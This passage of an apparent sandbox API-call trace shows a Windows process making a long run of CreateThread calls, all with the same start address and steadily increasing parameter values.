	[0192.385] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff03d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x314
	[0192.388] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff03e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x318
	[0192.390] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff03e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x31c
	[0192.393] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff03f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x320
	[0192.394] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff03f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x324
	[0192.397] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x328
	[0192.400] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0408, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x32c
	[0192.401] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x330
	[0192.404] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0418, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x334
	[0192.623] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0420, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x338
	[0192.626] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x33c
	[0192.629] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x340
	[0192.632] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0438, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x344
	[0192.634] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x348
	[0192.635] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0448, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x34c
	[0192.637] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x350
	[0192.639] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x354
	[0192.642] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x358
	[0192.643] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0468, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x35c
	[0192.645] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x360
	[0192.648] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0478, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x364
	[0192.651] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x368
	[0192.653] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0488, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x36c
	[0192.655] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x370
	[0192.657] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0498, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x374
	[0192.792] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff04a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x378
	[0192.795] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff04a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x37c
	[0192.797] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff04b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x380
	[0192.801] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff04b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x384
	[0192.804] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff04c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x388
	[0192.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff04c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x38c
	[0192.807] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff04d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x390
	[0192.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff04d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x394
	[0192.811] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff04e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x398
	[0192.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff04e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x39c
	[0192.814] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff04f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a0
	[0192.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff04f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a4
	[0192.818] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a8
	[0192.820] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0508, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ac
	[0192.822] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b0
	[0192.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0518, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b4
	[0192.826] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b8
	[0193.054] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3bc
	[0193.056] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c0
	[0193.059] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0538, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c4
	[0193.061] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c8
	[0193.063] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0548, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3cc
	[0193.065] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d0
	[0193.069] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0558, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d4
	[0193.071] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d8
	[0193.073] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0568, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3dc
	[0193.075] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0570, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e0
	[0193.080] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0578, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e4
	[0193.083] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e8
	[0193.085] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0588, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ec
	[0193.087] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f0
	[0193.566] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0598, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c4
	[0193.568] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff05a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c8
	[0193.570] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff05a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6cc
	[0193.572] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff05b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d0
	[0193.574] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff05b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d4
	[0193.576] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff05c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d8
	[0193.578] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff05c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6dc
	[0193.581] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff05d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e0
	[0193.583] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff05d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e4
	[0193.585] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff05e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e8
	[0193.586] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff05e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ec
	[0193.588] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff05f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f0
	[0193.591] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff05f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f4
	[0193.593] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f8
	[0193.595] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0608, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6fc
	[0193.598] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x700
	[0193.600] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0618, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x704
	[0193.746] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x74c
	[0193.748] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0628, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x750
	[0193.750] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x754
	[0193.753] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0638, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x758
	[0193.755] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x75c
	[0193.756] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0648, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x760
	[0193.759] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x764
	[0193.761] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0658, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x768
	[0193.764] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x76c
	[0193.766] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0668, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x770
	[0193.770] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x774
	[0193.772] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0678, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x778
	[0193.774] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x77c
	[0193.777] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0688, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x780
	[0193.779] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x784
	[0193.958] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0698, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c0
	[0193.960] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff06a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c4
	[0193.961] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff06a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c8
	[0193.962] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff06b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7cc
	[0193.966] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff06b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d0
	[0193.968] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff06c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d4
	[0193.970] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff06c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d8
	[0193.972] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff06d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7dc
	[0193.974] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff06d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e0
	[0193.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff06e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e4
	[0193.977] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff06e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e8
	[0193.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff06f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7ec
	[0193.981] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff06f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f0
	[0193.984] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f4
	[0193.987] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0708, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f8
	[0193.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0710, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7fc
	[0193.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0718, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x804
	[0194.134] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x84c
	[0194.137] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0728, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x850
	[0194.139] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x854
	[0194.141] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0738, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x858
	[0194.144] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0740, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x85c
	[0194.146] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0748, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x860
	[0194.149] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0750, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x864
	[0194.151] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0758, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x868
	[0194.153] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x86c
	[0194.155] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0768, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x870
	[0194.157] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x874
	[0194.159] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0778, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x878
	[0194.162] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x87c
	[0194.164] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0788, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x880
	[0194.166] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x884
	[0194.169] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff0798, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x888
	[0194.520] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff07a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8cc
	[0194.522] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff07a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d0
	[0194.524] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff07b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d4
	[0194.527] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff07b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d8
	[0194.530] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff07c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8dc
	[0194.534] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff07c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e0
